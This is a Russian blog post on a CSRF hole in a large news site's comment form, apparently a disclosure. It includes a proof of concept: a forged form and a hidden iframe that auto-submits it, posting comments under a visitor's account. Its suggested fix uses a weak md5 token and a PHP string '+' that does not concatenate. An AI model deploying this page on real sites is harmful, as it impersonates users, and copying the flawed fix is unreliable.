23 October 2011

Имеют ли право пренебрегать безопасностью пользователей крупные компании?

Information Security

Лирическое отступление


Представим себе ситуацию… Вы простой пользователь интернета. Ежедневно посещаете различные сайты, читаете там новости, общаетесь в социальных сетях, просматриваете почту и т.д. Все как обычно. Но в один прекрасный день в дверь вашей квартиры стучат. На вопрос «кто там?» вам отвечают: «Откройте, полиция!». Берут вас под белы рученьки и сопровождают в ближайший отдел. Вы недоумеваете «за что?». В ответ слышите: «Систематическая публикация в интернете сообщений призывающих к разжиганию межнациональной розни». Как? Почему? Никогда не писал подобного рода сообщений! В ответ на эти претензии вам показывают ряд сообщений на некоторых известных информационных ресурсах которые действительно написаны из под вашего аккаунта и содержание которых явно противоречит законам РФ. Что самое интересно, даже IP-адрес с которого были отосланы сообщения совпадает с вашим домашним. Возможно, это кошка, которая живет с вами, гуляя по клавиатуре, случайно набрала эти сообщения за вас и разослала по разным сайтам. Возможно, вам даже поверят… И срок в 2 года лишения свободы неявно замаячил на горизонте.
Так что же все-таки произошло? А произошло следующее…

Так называемые «известные информационные ресурсы» крайне безответственно подошли к безопасности своих пользователей. Именно из-за дырявого кода написанного программистами, сами того не подозревая, вы стали жертвой злоумышленников.

Немного теории


Не будем долго ходить вокруг да около, сразу перейдем к делу. Есть такой тип уязвимостей, как CSRF. Многие знают, что это такое, но для тех, кто не в курсе приведу вырезку из Wikipedia:
CSRF (англ. Сross Site Request Forgery — «Подделка межсайтовых запросов», также известен как XSRF) — вид атак на посетителей веб-сайтов, использующий недостатки протокола HTTP. Если жертва заходит на сайт, созданный злоумышленником, от её лица тайно отправляется запрос на другой сервер (например, на сервер платёжной системы), осуществляющий некую вредоносную операцию (например, перевод денег на счёт злоумышленника). Для осуществления данной атаки, жертва должна быть авторизована на том сервере, на который отправляется запрос, и этот запрос не должен требовать какого-либо подтверждения со стороны пользователя, который не может быть проигнорирован или подделан атакующим скриптом.
Как раз такая уязвимость была найдена на одном «известном информационном ресурсе» (посещаемость в сутки переваливает за 2 000 000). Я намеренно не привожу здесь названия этого ресурса, т.к. спустя неделю (!) после того, как администрация была уведомлена о найденной «дыре», эта самая «дыра» до сих пор не заштопана.

Немного уличной магии


У нашего сайта есть раздел «Новости». Они довольно часто обновляются, и практически к каждой новости можно оставлять свои комментарии. В среднем на одну новость оставляется порядка нескольких сотен комментариев. Как может быть проэксплуатирована найденная уязвимость?
Пытаемся добавить свой комментарий. Перед нами возникает форма, которую нужно заполнить для отправки сообщения.

Открываем исходный код страницы. Ищем код, отвечающий за формирование формы отправки сообщения.
<form onsubmit="return checkNCForm(this);" method="post" name="comment" action="/politics/7082376/comments/#add_begin">
 <input type="hidden" value="1" name="save">
 <input type="hidden" value="1" name="begin_reply">
 <div class="description">
 Запрещено размещение сообщений, нарушающих законодательство РФ и/или общепринятые понятия об этике общения.<br><br>
 В частности сообщений:<br>
 - способствующих разжиганию межнациональной вражды;<br>
 - пропагандирующих наркотики, порнографию, проституцию;<br>
 - нарушающих авторские и другие права третьих лиц;<br>
 - компрометирующих любые группы людей по любому признаку;<br>
 - оскорбляющих и унижающих человеческое достоинство;<br>
 - содержащих ненормативную лексику;<br>
 - являющихся спамом.        
 </div>
 <input type="hidden" value="1" name="doauth">
 <div class="form">
 <table>
 <tbody><tr>
 <th>Ваше имя:</th>
 <td><input type="text" class="readonly" readonly="readonly" value="Петрик Дмитрий"></td>
 </tr>
 <tr>
 <th>Тема:</th>
 <td><input type="text" value="" maxlength="60" name="title"></td>
 </tr>
 <tr>
 <th>Текст:</th>
 <td><textarea rows="5" cols="30" name="text"></textarea></td>
 </tr>
 <tr>
 <th></th>
 <td class="submit">
 <input type="submit" value="Добавить">
 <a href="/politics/7082376/comments/?" onclick="return closeNCForm();">Закрыть</a>
 </td>
 </tr>
 </tbody></table>
 </div></form>

Из содержания видим, что нигде не проверяется подлинность отправителя. Обычно это какой-нибудь hash из различных параметров. Уберем из исходной формы все лишнее и заполним поля нужным текстом.
<form method="post" name="comment" action="http://news.example.ru/politics/7082376/comments/#add_begin" >
 <input type="hidden" value="1" name="save">
 <input type="hidden" value="1" name="begin_reply">
 <input type="hidden" value="1" name="doauth">
 <input type="text" class="readonly" readonly="readonly" value="Витя Пчелкин">
 <input type="text" value="Комментарий" maxlength="60" name="title">
 <textarea rows="5" cols="30" name="text">Интересная новость :)</textarea>
 <input type = "hidden" value="Добавить">
 <input type = "submit">
</form>

Форма готова, поля заполнены. Теперь атакующему необходимо сделать так, чтобы когда пользователь заходит на его сайт, из под учетной записи пользователя без его ведома в указанную новость отправлялось сообщение сформированное атакующим. Для этого злоумышленник помещает вновь сформированную форму в iframe, который сделает невидимым для пользователя. Сабмитить форму будет с помощью JavaScript. Код атакующей странички будет примерно такой:
<script>
function submit_form(){
window.evilframe.document.forms[0].submit();
}
</script>

<iframe name='evilframe' src='form.html' style='display:none' onLoad=submit_form();></iframe>
evil page in action...

Где form.html — фейковая форма.
После того, как пользователь заходит на атакующий сайт, на нашем «информационном ресурсе», в комментариях к новости определенной злоумышленником, он мог бы увидеть свой комментарий:

Вот только, скорее всего, он даже и знать не будет о том, что где-то оставил комментарий.
Данную уязвимость я тестировал на себе, а так же попросил поучаствовать в этом одну свою знакомую заранее предупредив об эксперименте. После посещения определенной ссылки результат был ожидаемый:

Как это «лечится»?


Исправить эту уязвимость можно добавив в форму одно скрытое поле, в котором по определенному алгоритму формируется определенный набор символов. Чтобы атакующему удалось провести атаку типа CSRF ему для начала нужно правильно подобрать этот набор символов.
Приведу простой пример. В данном случае в роли определенного набора символов будет выступать hash md5. Брать его будем от выражения: [IP адрес пользователя]+[статический набор случайных символов].
$hash = md5($_SERVER['REMOTE_ADDR']+'46d6dfvlw8e9hb');
echo '<input name="hash" type="hidden" value="'.$hash.'">';

На сервере после отправки формы проверяем наш hash.
$hash = md5($_SERVER['REMOTE_ADDR']+'46d6dfvlw8e9hb');
if (isset($_POST["otvet"]) && ($hash == $_POST["hash"])) 
{Выполняем какие-то действия}
else
{Возможно, пытаются подделать запрос};

Коротко о главном


Этот год стал знаковым в области проблем информационной безопасности. Множество сайтов крупных компаний было взломано. В большинстве случаев эти взломы были осуществлены в связи с тем, что руководство компаний не уделяло должного внимания вопросам информационной безопасности. Как правило, в первую очередь страдали простые пользователи этих ресурсов: уводились учетные данные, почтовые ящики, данные кредитных карт и т.д.
В связи с этим хотелось бы вернуться к вопросу в заголовке этого топика. Имеют ли право пренебрегать безопасностью своих пользователей крупные компании? Можно ли экономить на специалистах в области информационной безопасности в ущерб безопасности клиентов/пользователей? Должна ли быть наказуема халатная небрежность, когда в течении недель или даже месяцев, после обнаружения критических уязвимостей они остаются на своих местах? Может нужна какая-та стандартизация, которой должны придерживаться крупные компании в своих сервисах? Давайте порассуждаем на эту тему, а может и предпримем какие-то действия чтобы пошатнуть сложившийся уклад…

Upd: Немного изменил название топика. А то грубо как-то получилось и не совсем корректно :(
Tags: уязвимости информационная безопасность csrf oisd
Hubs: Information Security
+90
1.1k 60
Comments 89
Ads